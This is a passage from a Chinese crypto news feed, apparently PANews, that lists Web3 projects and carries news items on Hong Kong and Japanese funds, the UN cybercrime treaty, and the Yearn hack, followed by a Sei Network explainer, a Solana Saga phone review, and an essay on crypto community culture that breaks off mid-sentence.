曲线设计，可以轻松启动和运行 web3 社区。 官网：https://hotpotdao.xyz/ ▎JACKBOT Jackbot是一个休闲竞技类游戏竞技场，提供诸如扑克、棒球等游戏和竞技比赛。 官网：https://jackbotclub.com/ ▎JoJoWorld JoJoWorld 是 AIGC 在 web3 中的应用，它帮助全球用户在 Metaverse 中构建您的免费 3D 乐高之家。 官网：https://jojoworld.com/ ▎LUDIS WORLD LUDIS WORLD是一家结合AAA级手游体验和Star Talents打造独特健身游戏体验的web3公司 官网：https://ludis.club/ ▎Matr1x 元宇宙第一款FPS手游， 统一世界观故事的三部曲游戏，聚焦中心化数据卡特尔与去中心化反抗军之间的多年战争。 官网：https://www.matr1x.io/ ▎MetaBorn MetaBorn 是世界上第一个 AI 生成的 3D Avatar 身份协议，结合了可组合的 3D NFT 和去中心化身份，为你创造一个在 Web3 世界中通用的数字身份。 官网：https://metaborn.me/ ▎MetaChat Protocol MetaChat 协议是一种 Web3 智能消息传递协议，建立在统一社交网络之上，通过 AI 和区块链打造下一代社交通信。 官网：https://link3.to/metachat ▎MG.Land MGLand是区块链上最大的NFT空间，每个人都可以带着自己的NFT进入空间进行社交、玩游戏、举办NFT展览和自由交易。 官网：https://lmg.land/ ▎MiYou 基于区块链的下一代电子邮件生态系统 官网：https://lmiyou.io/ ▎Moriverse 遇见森林致力于打造个性化AI平台，为创作者提供强大的定制化AI工具，并拥有顶级的云端基础设施。 官网：https://lbeta.moriverse.xyz/ ▎Move Accelerator Move Accelerator 是一个专注Move 生态，一站式解决技术、增长、品牌、战略和融资的加速孵化平台。 官网：https://link3.to/suiworld ▎MEGAxis MEGAxis旨在用Web3一站式平台服务AI革命带来的100亿+超级个体，包括AI应用开发者的Web3服务平台、AI Prompt NFT创作市场、乐高积木式LLM-as-a-service。 官网：https://megaxis.xyz/ ▎Pluto Studio PLUTO 提供从游戏到区块链、加密和 WEB3 的一站式解决方案 官网：https://pluto.vision/#/ ▎Oasis AI Oasis AI 试图创造一个人类和人工智能可以共生互动的虚拟世界，我们推出了 Oasis Origin，这是一款 web3 超级应用程序，可通过大量对话和活动提供完美的培训环境。 官网：https://twitter.com/Oasis_Origin ▎Openask.me Web3 付费语音社交问答平台 官网：https://openask.me/ ▎Openverse Openverse 使用其内部 AIGC 平台专注于拥有 VAOH 系列版权的尖端虚拟化身，我们使 VAOH 系列成为 Web3.0 世界中突出的虚拟人物。 官网：https://www.openverse.io/ ▎Opside Opside 是一个去中心化的 ZK-RaaS 平台，采用PoS和PoW混合共识，提供一键发zkEVM链的解决方案。 官网：https://opsi.de/ ▎Oneverse PTE 一款有20年历史的韩国游戏IP，RO世界就是在新的时代下新一代产品。 官网：测试中 ▎Parami Protocol 作为ERC5489 的提议者，我们正在构建一个产品套件，为Web3 用户形成激励层，具有可奖励的DID、超链接NFT、Defi 解决方案和DAO 治理。 官网：https://parami.io/ ▎PayPto PayPto提供一系列的产品包括：聚合加密货币&法币支付网关、跨链桥、出入金等，旨在为Web3.0时代提供安全、成本节省，用户体验好的革命性的支付产品。 官网：https://paypto.io/ ▎PKing.Games PKing是一款Web5 3D碰碰车NFT手游，主要玩法为PVP，PVE，团战，修改养，游戏特点是好玩，门槛低，轻社交。 官网：https://pking.games/ ▎PopFun PopFun 的创建是为了成为链游的 Steam，以便我们可以弥合传统游戏玩家与区块链行业之间的鸿沟，确保 Web3.0 的未来和去中心化的 Metaverse。 官网：https://www.popfunx.com/ ▎PortUS PortUS是通过NFT实现流量实时变现的游戏分发平台，通过Game as a NFT机制为各类游戏导入优质用户，并帮助流量主实现持续化收益，同时基于SBT进行玩家身份识别和特征画像，更精准地构建下一代游戏玩家社区。 官网：https://www.portus.games/ ▎RE:DREAMER Lab RE:DREAMER Lab 专注于创建兑换协议 ERC6672，以实现主流系统和区块链之间的无缝和安全连接，这将允许在元宇宙中进行实物商品交易。 官网：https://redreamer.io/ ▎Rivermen 一个未来拥有无限可能的模拟经营玩法的UGC元宇宙。 官网：https://rivermen.io/ ▎SeeDAO SeeDAO 是一个致力于连接100万加密游民的数字城邦，由去中心化的数字网络和映射在全球各地的物理据点组成，由SeeDAO成员共建、共治、共享。 官网：https://seedao.xyz/ ▎SmartDeer SmartDeer 是一个面向全球市场、专注于 Web3 项目和人才连接的招聘平台。 官网：https://smartdeer.com/ ▎Spaceconnect 为玩家提供一个集合AR、LBS和区块链技术的游戏，玩家可以在现实世界中搜索、捕捉和收集不同种类的精灵，通过升级精灵来提高其战斗力。 官网：暂无 ▎SuperZoo 领先的 Web3 宠物游戏和救援平台，救助流浪动物并为其提供一个家。 官网：https://discord.com/invite/superzoo ▎Topia Topia是首个去中心化存储Layer2解决方案，致力于提高智能合约和分布式存储的互操作性，扩容以太坊的 Key-value 数据存储能力，同时大幅降低数据存储成本，最终实现完全去中心化的纯链上应用和个人数据主权。 官网：https://topia.network/ ▎TxBoost 我们在以太坊p2p网络层上建立了一层快速网络，节点通过高速链路相互连接，使得它们快速地将transactions进行传输，同时识别过滤垃圾交易，提升处理效率。 官网：https://txboost.com/ ▎US3R Network US3R Network 是围绕链下去中心化数据存储的开发者平台和应用生态。 官网：https://us3r.network ▎VIP3 VIP3是一个WEB3会员与权益平台，推出了首个链上会员系统，通过众多权益吸引高质量用户，从而为Web3平台带来优质的增量用户。 官网：https://vip3.io/ ▎Web3 Analytics Web3 Analytics是新一代AI技术驱动的Web3数据门户中心，旨在为用户提供更好的投资、交易和选择web3服务的决策能力。 官网：https://3analytics.ai/ ▎xBank xBank 是一个去中心化的消费金融协议，为Web3的潜在用户提供 NFTFi “入场杠杆”以及开放的资金市场，让消费者以先买后付的方式轻松购买 NFT，降低新用户大规模进入web3的门槛。 官网：https://xbank.plus/ ▎加密艺术驱动器 数字化合物是一个研究和创作加密艺术的机构。发行的研究刊物《加密艺术年鉴》具有一定的行业认知度。艺术作品《加密艺术驱动器》和《数字巴别图书馆》入围威尼斯双年展。同时还承接加密艺术策展、资询工作。 官网：https://cad.digitalcompound.org/  ( 3 min )
    香港Web3Hub生态基金正式启动，规模为1000万美元
    PANews 4月14日消息，在“2023香港Web3嘉年华”分会场四《MetaEra x BitMart 专场：Metaverse的机遇在哪里》分论坛中，香港律政司副司长张国钧发表致辞，宣布启动香港Web3Hub生态基金，规模为1000万美元，将激励更多企业落户香港。结合区块链技能和人工智能提供便捷且具成本效益的安全平台，展望未来，香港要更好地发展一国两制的独特优势，以科技创新驱动香港高质量的发展，同时吸引海内外人才引入。 此前消息，香港财政司司长陈茂波将担任Web3Hub基金主席。  ( 1 min )
    外媒：联合国网络犯罪条约或导致对全球加密货币的全面监控
    PANews 4月14日消息，据CoinDesk报道，周二，联合国启动了关于网络犯罪的新国际条约的倒数第二轮谈判。最新草案版本如果被采纳，将对加密货币施加全面的监控要求，并威胁全球的金融隐私。 条约草案第93条要求所有签署条约的国家实施繁重的加密货币金融监管法律。这些法律将适用于任何“从事与数字金融资产和数字货币流通相关活动”的组织，即使它们与传统金融机构完全不同。就像美国参议院提出的数字资产反洗钱法案一样，这种广泛语言可以被解释为包括软件开发人员、托管和自托管钱包提供商、矿工、验证者、节点、不可替代代币、NFT交易平台甚至用户。 谈判已经进行了一年多，预计将在秋季敲定相关版本。来自世界各地的130多个人权组织和学者已经对该条约的人权保护是否充分表示了担忧，科技政策专家也对其打击网络犯罪的有效性提出了质疑。  ( 1 min )
    外媒：Yearn黑客在攻击过程中偿还了Aave V1版本用户的USDT债务
    PANews 4月14日消息，据CoinDesk报道，Yearn攻击事件的不同之处在于，部分用户没有遭遇损失，反而赚了。前Aave集成负责人Marc Zeller表示，这是因为攻击者使用了闪电贷攻击的方式，并在此过程中偿还了Aave V1版本用户的USDT债务。 在4月12日，也就是该攻击事件发生的前一天，Aave V1协议的USDT借贷池中27%被借出，但截至发稿时，Aave v1协议上借出的USDT金额现在为0美元。根据Aave v1 USDT市场的网站，大约有131万美元USDT可用于流动性。 此前昨日消息，Yearn Finance项目遭受攻击，黑客获利超1000万美元。  ( 1 min )
    解读新公链Sei Network技术特性及生态：近期频获融资，靠什么成为了资本“新宠儿”？
    原文：《斩获大额融资、空投在即，一文了解公链 Sei Network 的最新进展和生态版图》 作者：flowie，ChainCatcher 昨日，Layer1 公链 Sei Network宣布继完成一轮估值为 8 亿美元的 3000 万美元融资后，其生态基金又完成 5000 万美元新一轮融资。加上今年 1 月份，加密货币交易所 MEXC 为 Sei 生态贡献的 2000 万美元专项基金，Sei Network 成为今年目前融资规模最大的 Layer1 公链。 作为和 Aptos、Sui 同期的新星公链，Sei Network 虽然不及前者“出道即巅峰”，但自去年 10 月底发布白皮书后，其测试网进展和生态发展的速度也较为迅速。 近期 Sei Network 动作频繁，随着主网和空投发布在即，本文梳理了 Sei Network 最新进展和生态版图。 Sei Network 由 Jay Jog 和 Jeff Feng 创办于 2022 年，据官方介绍， Sei 团队成员主有三类，一是来自 Robinhood、Airbnb 等传统互联网公司的高级工程师，二是 Cosmos 生态上的加密 OG，三是来自高盛、投资机构以及有着丰富传统科技经验的交易员。 拥有互联网、加密和传统金融科技的复合背景，Sei 团队致力于在最卷的公链竞争中打出哪些差异化？ 从Sei Network博客文章中可以了解到，首先在定位上，Layer1 公链可大致分为两类，一类是例如以太坊、Solana 这样的通用链，另一类是例如 dYdX、Osmosis 等特定于应用程序的链。而Sei 在两者之间找到一个中间地带，既不是通用链也不是特定于应用程序的链，而是特定于 DeFi 的 Layer1。 Sei Network 建立 Cosmos 生态上，旨在成为专门用于交易的高速链，帮助去中心化交易所更好地运行，进而使新型金融产品（复杂的期货和期权、现场体育博彩）的出现变得可能。 除了明确的定位差异化外，Sei也围绕着性能、效率、安全性和可组合性上等方面进行了优化创新。 在性能和效率上，Sei 通过对 Cosmos 的 ABCI 进行升级，使得共识的每个步骤都是可编程的，从而实现对三个重点领域进行改善：优化区块生产、智能区块广播和订单并行执行。 优化区块生产方面，一个标准的 Cosmos 链有约 6 秒的区块确认时间，Sei通过优化共识，将其缩短到500 毫秒，Sei称这是Web3 中最快的最终区块确认时间。而除了优化区块生产外，Sei还改进了智能区块广播，让提议者只需发送区块中每笔交易的哈希值而不是所有交易数据，验证者就能够通过使用他们自己的本地 mempool 来快速重建区块，提高了区块广播效率。对于区块生产和区块广播的优化（这两项优化被Sei称为Twin Turbo 共识），Sei将吞吐量提高了 80%以上。 此外，Sei 还让原本需要先后顺序执行的交易可以并行处理，即不重迭的独立市场可以同时处理。而通过并行化的执行，可以将区块时间比按顺序处理减少 75-90%，并行的延迟为 40- 120ms，顺序的延迟为 200-1370ms。 而在安全性上，Sei 维护着一个集中的验证器集，让建立在 Sei 上的协议将能够利用 Sei 的验证器而不用组装协议自己的验证器集，从而削减了协议迁移到 Cosmos 的最大障碍之一。此外，Sei 利用频繁的批量拍卖来抗MEV，让批量内的交易排序不会影响价格。 在可组合性上， Sei 作为一个支持 IBC 的 Cosmos 链，其本身就具有异步可组合性。同时，Sei还在链上订单簿创建了一个可组合的架构，允许 Sei 上的 CosmWasm 应用之间有同步的可组合性，并通过原生订单匹配引擎分享流动性。 Sei Network 在去年 10 月底发布白皮书时，就已明牌空投，表示将 SEI 总供应量的 1% 用于奖励测试网参与者。今年 2 月份，Sei在寻求A轮融资时，表示几个月后将上线主网和发布空投。 此后的 3、4月份，Sei Network 动作频繁。一是公布测试网最新进展。3月14日，Sei Network 宣布启动主网上线前的最终测试网版本Atlantic-2。Atlantic-2 采用了Sei 的 Twin Turbo 共识、DeliverTx 和 Enblock 并行化以及无许可部署。Twin Turbo 共识使 Sei 能够更快地广播和处理区块；并行化方面，Sei 利用两种不同类型的并行化来进一步改善网络吞吐量和延迟性，其中 DeliverTx 并行化允许并行化所有类型的交易，而 Endblock 并行化仅适用于订单交易。 Sei Network也公布了最终测试网版本Atlantic-2的一些数据。Atlantic-2 测试网上线一周后，拥有超过 50 万名独立用户，在一个月内，吸引了超过360万的独立用户，处理了超过3500万的交易。 二是成立了 Sei基金会。3月29日，Sei Network 在推特上官宣这一消息，并表示 Sei 基金会是为支持 Sei 生态系统的非营利组织，来资助协议开发、发展生态系统。Sei 基金会将处理代币赠款、空投、产品请求、倡议和委托计划等。此外，Sei Labs 团队仍然致力于开发开源软件。 三是探索NFT 。4月4日，Sei Network 推特发文称，Sei Sunken Treasure 活动是 Sei 最大的 NFT 系列，自 3 月 15 日以来已铸造了超过 60 万个 NFT，并启动 Sei Sunken Treasure NFT 活动的第二阶段。 而近日，Sei Network 和 Sei Labs 生态基金两天内陆续宣布了两笔大额融资，也能在一定程度上加速其生态发展。 除 Sei 生态基金近日宣布的 5000 万美元的新一轮融资外，今年 1 月份，加密货币交易所 MEXC 也为 Sei 生态贡献了 2000 万美元专项基金。加上此前 2022 年 9 月份， Sei Network 推出的 5000 万美元生态基金，其生态资金规模超过了1.2亿美元。 在生态项目上，根据最新融资通稿中的披露，Sei Network 生态中已有120个合作项目。官网上目前披露的合作项目有 70 个左右，其中重点覆盖的领域为去中心化交易所、基础设施、钱包和跨链桥。 来源：加密数据平台RootData 去中心化交易所 Sushiswap：Sushiswap 是基于自动做市的DEX，今年1月份Sushiswap 宣布在 Sei Network 上推出去中心化永续期货交易所。 Satori：Satori 是一个建立在 Polkadot 上的链上衍生品协议，用户可以通过执行涉及杠杆的复杂交易来增加收入，同时可以灵活地制定适合他们需求的收益和风险概况。 Vortex Protocol：Vortex 是IBC 链的去中心化衍生品交易所。 Vortex 作为一种无需许可和去中心化的协议，提供了许多与中心化交易所相同的功能（借贷、交叉抵押和交叉保证金）。 Cypher Protocol：Cypher 是建立在 Solana 区块链之上的去中心化期货基础设施标准。该协议将允许通过 Serum 的 DEX 创建衍生品并使交易成为可能。 Pharaon：Pharaoh 协议是 Cosmos 的扩展合成协议，允许价格暴露于商品、外汇和任何具有价格预言机馈送的加密代币。 Synthr：Synthr 是一种合成资产协议，它使用户能够使用去信任化的金融合约制造和交易各种金融资产的链上衍生品。 Kryptonite：Kryptonite 是去中心化 AMM 和质押协议，可与 Cosmos 区块链及其他区块链上的任何 bAssets 一起使用。 基础设施 Agoric： Agoric是一个 layer1 PoS 公共区块链，旨在使开发人员能够使用地球上最流行的编程语言 JavaScript 快速构建安全的智能合约。 White Whale：White Whale是一种跨链流动性协议，通过套利、闪贷和跨链流动性池为高效市场提供工具。 Kado：Kado是为 Web3 构建的支付基础设施。该公司的入口/出口服务与 150 多个国家/地区的美国自动清算所 (ACH)、电汇、Visa 和万事达卡集成，使用户可以使用其非托管钱包转换法定和数字资产。 Andromeda：Andromeda 是一个应用平台层，使用 IBC，连接 Cosmos 生态系统中的所有公共区块链。 Convergence：Convergence只去中心化的可互换资产协议，通过使用单个易于使用的界面对隐私代币进行细分并与其他 DeFi 协议组合，使隐私代币在 DeFi 空间中可互换。 KYVE Network：KYVE 是 Web3 数据验证解决方案，为去中心化的数据验证、不变性和检索提供了快速简便的工具，从而彻底改变了对链上和链下数据的定制和安全访问。 Noox：Noox是一个Web3声誉平台，供Web3用户根据链上活动来铸造徽章。 Paddle：Paddle是基于 Cosmos 的 Move 虚拟机 (MVM) Rollup，为部署用 Move 编写的智能合约提供一个沙箱环境。 钱包 Keplr：Keplr 是跨区块链生态系统的钱包。该钱包旨在与 Cosmos 的 IBC 兼容。它允许用户在众多链之间来回移动数字资产。 Coin98：Coin98 是一个多链加密钱包和 DeFi 网关，可以供TraFi用户访问多个区块链上的任何DeFi服务。 Cosmostation：Cosmostation是一个验证节点运营商和钱包提供商，Cosmostation 受 35 多个网络信任。还通过为社区提供终端用户应用程序（如 Mintscan 和钱包应用程序）来为网络做出贡献。 Leap Wallet：Leap Wallet 是基于 Cosmos 的非托管钱包，支持用户将 Ledger 与 Leap Wallet 连接以提高其安全性。 跨链桥 Axelar Network：Axelar 是一个去中心化的跨链通信网络，可以连接异构区块链并以优化的方式为构建者和最终用户实现资产移动性和程序可组合性。 Celer Network：Celer是一个区块链互操作性协议，提供了可实现跨链访问代币、DeFi、GameFi、NFT、治理等的一键式用户体验。 Multichain：Multichain 是一种跨链路由器协议，可满足不同区块链相互通信的明确需求。 Multichain 旨在成为 web3 的终极路由器。  ( 5 min )
    Skyland Ventures旗下Web3基金完成约3800万美元募资，SBI集团参投
    PANews 4月14日消息，据Coinpost报道，日本风投机构Skyland Ventures宣布其名为“Skyland Ventures No.4 Fund”的Web3基金完成总计50亿日元（约合3800万美元）的募资，SBI集团作为新投资者参与了此次募资。 据悉，Skyland Ventures已投资大约150家公司，主要是日本的初创公司。2022年之后，其开始重点投资Web3初创公司。SV4基金成立于2022年4月，作为种子风投基金主要投资Web2、Web3初创公司，尤其积极投资生成式AI领域和元宇宙等数字经济领域。  ( 1 min )
    Solana Saga 抢先体验：价值 1000 美元的 Web3 手机值得入手吗？
    原文来源 | Decrypt 原文编译 | 白泽研究院 Solana 确实实现了制造自己的 Web3 智能手机“Saga”的计划——它目前开放了预购通道，5 月 8 日公开发售。 去年，Solana Labs 创始人 Anatoly Yakovenko 将其打造自己的 Web3 智能手机的计划称为“登月计划”，旨在成为“开发者实验”，挑战谷歌和苹果应用商店的租赁模式，完全集成加密钱包，让用户交互 dApp 更加丝滑，引领新的 Web3 范式。 在过去的一周里， Decrypt 已经提前拿到了这个价值 1,000 美元的安卓手机——在我们看来，使用这款手机的感觉更像是 Web2 设备集成了 Web3（尽管是有意义的）。 但这并不妨碍它是一款功能强大的手机，集成了原生、安全的加密钱包功能，桌面紧凑直观。不过，可用的 dApp 很少，而且在我们交互 dApp 时还遇到了一些障碍。 与 Web3 爱好者的日常相比，现在使用 Saga 感觉更像是对有希望和潜力的东西进行 beta 测试。对于早期采用者和爱好者来说，这可能是一种比较有趣的测试，对开发人员来说是一个潜在的催化剂，但对于普通消费者来说可能很难接受—— Solana Labs 知道这一点，他们预计 Saga 的销量不会很高，25,000 至 50,000 个就会很满意了。 体验外观和规格 作为一名技术评论员和总是使用高端手机的人，我在评估手机优劣时的主要考虑因素之一是我是否可以每天使用它。换句话说，当我经常保持社交联络、拍照、远程办公时，我是否愿意把这个手机放在口袋里？ 幸运的是，Solana Saga 满足了这一点。 这是一款优质的安卓手机，具有吸引人（但不过分浮华）的设计，采用坚固的材料制成，并配备了用户可以用于联络、办公和娱乐所需的几乎所有东西。即使没有 Web3 元素，这也是一款非常出色的安卓手机。 乍看之下，Saga 没有三星 Galaxy S23 或 iPhone 14 那样的与众不同，几乎没有什么外观特色可以帮助它脱颖而出——尤其是绿色的侧面按钮和背面三角形的钛合金摄像头模块。 不锈钢框架和陶瓷背面很不错，即使哑光黑色背面充斥着我的指纹和污迹。 它也是一个“Big Boy” — 比我的 iPhone 14 Pro Max 稍大稍重，配备明亮的 6.67 英寸 1080p AMOLED 屏幕和流畅的 120Hz 显示屏。同时，它还配备了强大的 4,110mAh 电池，电池寿命非常强劲和可靠，也支持方便的无线充电和更快的有线 USB-C 充电。 在使用上，Saga 也非常流畅和强大，这要归功于旗舰级 Qualcomm Snapdragon 8+ Gen1 处理器和 12GB RAM，使其能够轻松运行游戏和要求苛刻的应用程序。然而，Gen1 并不是顶级芯片：Galaxy S23 和其他新手机一般搭载的是 Gen2 芯片，会使性能大幅提升。 你现在可能不会太注意其中的差异，但随着更高要求的应用程序和游戏的推出，Saga 在未来对比一些竞争对手可能会不灵活。 然而，从好的方面来看，Saga 标配了 512GB 内部存储空间——可以满足大多数人的需求。 它还是双摄像头设置，一个 5,000 万像素的主摄像头和一个 1200 万像素的超宽摄像头，提供了清晰的细节和强大的色彩，可以满足我日常休闲拍摄的需求。但在与 IPhone 14 Pro Max 的对比之下，还是 Iphone 的镜头更清晰，色彩平衡更自然。 除了 Web3 元素之外，Saga 还配备了一个干净的安卓13 版本（没有过时的软件垃圾），以及全套谷歌服务，包括应用商店。因此，这款手机适用于所有美国的主要运营商，因此你可以随身携带。 以上是对 Solana Saga 的“Web2”方面的标准体验——如果你打算将它用作日常使用的手机，那么它是合格的。 不过，正是集成了 Web3 使 Saga有别于典型的智能手机，这也是为什么有人会认为 Saga 会是“Web3”标准旗舰产品的关键原因。 在 Web3 方面，Saga 是围绕 Seed Vault 构建的，Seed Vault 是一种托管解决方案，可在手机的安全环境中保护你钱包的种子短语。即使是换一台安卓手机也无法访问，因为Seed Vault通过指纹传感器与你的生物识别签名相关联。 在Seed Vault 能够安全保护你钱包的基础上，Saga 还开发了一个 dApps 应用商店，虽然目前只有十几个 dApps，但能够比使用传统的智能手机更流畅、更易于使用它们。使用像 Phantom 或 Solflare 这样的钱包，你只需要通过验证指纹和偶尔输入 PIN 就可以更轻松地签署 Solana 网络交易。 ​ 由于在 Saga 上设置钱包相对简单，几分钟之内，我就通过交易聚合器 Jupiter 将 $USDC换成了 $SOL，并通过 NFT 市场 Tiexo 领取了 Saga 的创世 NFT 以及购买了其他的 NFT。此外，我还在纽约的时代广场随意拍了一张照片，然后通过 NFT 平台 Minty Fresh 将其制作成了 NFT。 （注意：与预购者拿到的手机一样，我们抢先体验的 Saga 也附带了价值 20 美元的 $USDC 和 $0.01 SOL——价值约 0.25 美元——用于网络费用。体验结束后，Decrypt 会将手机、所有未使用的资金，以及购买和铸造的 NFT资产，归还给 Solana Labs。） 通过 Solana 的手机钱包适配器 (MWA) 技术，钱包也可用于连接到基于网页的 Web3 应用程序。例如，在撰写本文时，NFT 市场Magic Eden 的原生dApp 尚未上架到 Saga 的 dApp 商店中，但我通过Phantom钱包连接到了Magic Eden 的网站并购买了 NFT。 但是在体验中，我也遇到了一些“绊脚石”。 我无法将钱包连接到去中心化流媒体音乐平台 Audius 的原生dApp；无论我点击按钮多少次，去中心化社交应用程序 urFeed 几天都无法从 dApp 商店中下载；而且 MWA 并不总是有效，例如当我尝试将钱包连接到 Web3游戏Aurory的网站时……没有任何反应。 从广义上讲，虽然 Web3 手机的核心应该只是用来发送、接收和交易加密货币，铸造和交易 NFT，但我真的希望可以获得更多有趣和引人入胜的 Web3 体验。 例如，Solana 网络的 Web3 游戏赛道不断增长，但 dApp 商店目前没有可玩的游戏。我尝试在网页上打开基于 Solana 的游戏，但没有用——射击游戏 Mini Royale: Nations 无法加载，Aurory 也无法让我连接钱包。 Solana Labs 的一位代表表示，“一些游戏”正在为 Saga 开发，并且“即将推出”。 尽管存在错误和障碍，但在 Solana Saga 上使用加密货币和 NFT 进行交易要更快、更轻松。通常，在手机上运行 dApp、交易加密货币的体验令人沮丧，但 Saga 的用户体验无疑是向前迈出的一步——在这一点上，恰恰体现了 Solana 向着“Web3 原生手机”发起冲击的野心。 它试图培养一个去中心化的手机生态系统，该生态系统不依赖于苹果和谷歌等大型科技巨头及其应用商店的30 % 的销售分成——这不仅影响开发人员，而且阻碍了 Web3 移动应用程序的发展。 这是一个很大的转变，但也冒着很大的风险——如果 Saga 没有找到足够多的受众来支持这样的手机 dapp 生态系统，这对 Solana Labs 以及 Saga 来说可能代价高昂。 对于 Web2 巨头来说，也许 Saga 几万台的销售水平并不会对它们产生威胁，但如果它能促使开发者开发原生于手机的 dApp（可能的确会，因为 Solana Labs 推出了手机原生 dApp 的开发者资助计划），那么也许它会带来更多面向 Web3 群体的价格实惠的同类竞争者——也会有更多令人信服的购买理由。 这款 1,000 美元的智能手机当然不适合所有人。但 Saga 也不强调 Web3 用例，在同类昂贵的智能手机中，Saga 称得上是一款出色的产品。然而，它集成 Solana 网络以及许多的 dApp，是一个令人兴奋和有前途的转折点，最终可以作为 dApp 和用户带来回报。 不过就现在而言，后续发展仍然需要进一步观察。 风险提示： 根据央行等部门发布的《关于进一步防范和处置虚拟货币交易炒作风险的通知》，本文内容仅用于信息分享，不对任何经营与投资行为进行推广与背书，请读者严格遵守所在地区法律法规，不参与任何非法金融行为。  ( 5 min )
    大航海时代：货币秩序与链上文化迁徙
    原文：《构建加密部落文化：模因、信仰、符号体系、图腾及加密精神》 作者：0xShadow 在我看来，绝大多数的加密项目都忽视加密文化的建设，过分关注于解决问题，炒作以及代币管理部分。而Web3的产品具有部落文化，meme是图腾，理念是文化，资金和流动性是护城河，归属感和认同是信仰的来源。 不可否认，我们仍旧处在加密世界早期的建设阶段，但我想呼吁加密世界的建设者，随着加密建设进程的逐步深入，我们需要更多的把注意力关注到加密精神文化建设上面，区块链技术不单单是一项解决某一问题的特定框架，而是融合了经济、政治、文化的综合技术迭代，是自下而上的社会变革，它对整个人类社会的意义不亚于工业革命，因为区块链技术，我们第一次拥有了如此丰富的可行性、自主权和真正的自由！ 现在的主流区块链项目还是围绕着解决某一特定问题而构建的，如Opensea是NFT崛起最大的受益者，他们在这一次NFT爆发中受益良多，但其本质上是一个互联网产品，除了功能性之外，他们的中心化组织架构，以及产品的运营都是传统互联网项目的标准打法，建立护城河，巩固自己的地位，最终上市IPO，这个产品给行业带来了很多便利，但它不符合加密精神，不是加密世界最终需要的产品形态。 加密世界需要的不单单是加密产品，更加需要的是加密精神，去中心化、公平、民主、跨越国别和地域协作，包容和自我激励进化的社区组织！ 这种组织形态被定义为亚部落中的加密部落，加密部落会形成自己的文化叙事和模因，图腾，故事，符号体系和加密叙事，由社区用户为部落创建模因和故事，其中一些会成为令人惊讶的史诗叙事，而这些正在成为部落的社区文化积淀，一些社区正在构建加密部落的未来，由社区驱动，构建资产自主所有权，社区参与者即创造者，独特气质的社区文化，原生crypto，以及广泛传播的模因，超越国别和地域的协作…… 加密部落似乎可以创造一个了不起的范式！ 一直以来，亚部落对新颖的发现和革新的生成作出贡献，亚部落这方面的特征在它如何配置自由、处理冲突的过程中浮现出来。在一定程度上，它如何安置人、如何管理继后的混乱促成了美好思想的流通（McNair 2006）。文化习俗和制度的功能越像公有的资源库，它们就越能有效地生成新异、驱动革新。在这个方面，文化驱动的亚部落革新的有效模式来自于创意公地和知识公地的研究；这两种公地的研究建立在埃莉诺·奥斯特罗姆（Elinor Ostrom，1990）成果的基础上，她研究了这两种公地与自然资源公地治理的关系。所谓公地是一群人对一个理念感兴趣的空间，这个空间能创造或管理有价值的资源。对成功公地研究的总体发现是，这有助于产生好规则，而不是优秀人。好规则使亚部落富有活力。这是文化科学的一个模板。 加密部落实际是新兴的微观经济体，具有革新意识和自由意志的数字游民，因为某种理念共同相聚在一起，认同规则并创建规则，认同激励或者创建激励，在自我驱动中进化，他们的利益与治理令牌一致。从这个意义上说，代币充当的是一种原始的数字社会契约，执行原生的激励和治理。 DAO是这种部落的具体展现形式，正是由于混合了代币、智能合约和组织流程。这些“加密经济原语”可作为抽象工作流的可重用模式，以便在组织之间轻松复制。这些构建块通过融合经济资产、工作流和软件的协同作用，加密经济原语使去中心化自治组织(DAO)和未来形式的经济协调成为可能。 初始加入加密部落的动机可能是经济利益，但许多人因为文化的归属感而留在部落。加密部落是一个虚拟的空间，在这里，对同一件事物充满热情的人们决定聚在一起去实现远大的目标。这其实与工作并不相关，它更像是一种文化，因为一群人在一起创造他们期望创造的东西。在加密部落里，文化是第一位的，产品和项目是第二位的，这与公司正好相反。 在这个过程中，留住那些最好的贡献者，并让他们长期参与其中，从而创造一个足够强大的社区，只有解决了当前贡献者的参与问题，加密部落的增长、扩充和大规模采用才会随之而来。当解决了这个问题之后，越来越多的加密部落将因其长期贡献者而不断成长，这也使得他们的社区得到加密货币领域以外的人的关注，并吸引到更多新的贡献者， 从而加固了这种正反馈循环。 如果说哪一个DAO最像部落，那么我会说是BanklessDAO ，这个2019年创立的媒体，最初是一个跟踪加密行业动态的newsletter，BanklessDAO是社区共识的产物，它没有传统商业社会中的法律实体，也完全独立于Bankless媒体运作。 BanklessDAO是一个非常开放的社区。任何人都可以通过Discord加入BanklessDAO的服务器，并获得浏览绝大部分信息和历史工作文档的权限。 参与协作和会议需要成为会员，条件是持有一定数量的BANK token。不过这个更多凭借自愿，服务器里也专门有一个申请特别通行证的频道，在那个频道里介绍一下自己和感兴趣的方向，就可以很轻松的申请到guest pass，解锁发言和参与协作的各类功能。 Bankless的discord成员或者是怀着对无银行社会的向往，或者是怀着对互联网协作的兴趣，或者是觉得能挣钱，或者仅仅是因为好奇，最终聚合到了一起。 当大家逐渐相识，他们又根据自己的兴趣和能力，自发组合成了十多个不同方向的工会。工会像公司里的一个个小部门，设计部，开发部，法务部，每个部门有自己的成员、不同的特长和职责。细看工会又像是一个个事业部，每个工会倾向于整点事，创造出一些公共产品或方案，而不仅仅满足于作为一个职能部门为其他部门服务。 加入任何工会都是完全开放的，唯一需要做的就是到工会的notion页面上把自己的名字和特长填进去。 理论上讲所有工会的终极目标都是推动无银行社会，各工会的方式和过程不同，但目标一致。但这个目标足够的虚，也足够的大，所以几乎任何方向都能沾上边，都能够解释出自己存在的合理性。 而大家在工会的讨论中，又产生了大量的项目想法。其中一部分项目得到了足够多的共识，则从idea变为action。 杰斯帕·霍夫梅耶（Jesper Hoffmeyer 1996: 61）做了这样的解释：生物符号学的观念认为，生命圈（life sphere）渗透着符号过程（符号指代过程）和意义。有机体感知到的东西亦是与它相关的东西 — — 食物、逃亡、性繁殖等；一切有机体都降生在符号圈，符号圈就是意义和通信的世界……符号圈把约束或边界强加于物种的种群，因为种群不得不占有具体的符号小生境（semiotic niche），也就是说，它们必须要掌握一套视觉、声觉、嗅觉、触觉和化学符号，才能在符号圈里生存。但这样对种群的符号要求常常对成功构成决定性的挑战，这是完全可能的。有机体进化证明，为了在符号圈里生存，其符号手段的发展越来越精致，也许这是最重要的。 对于加密部落来说，加密符号文化就是保持部落高效增长的最重要的部分，它可以作为一种联系的图腾，加密符号即模因可以帮助部落建立更好的文化和辨识度，帮助部落输出自己的价值观，来区分“我们”和“他们”，从而社区成员凝聚在一起而变得更有生命力！新成员之所以会受到网络的吸引，是因为他们都具备共同的特征并且认同同一套基本价值观 — — 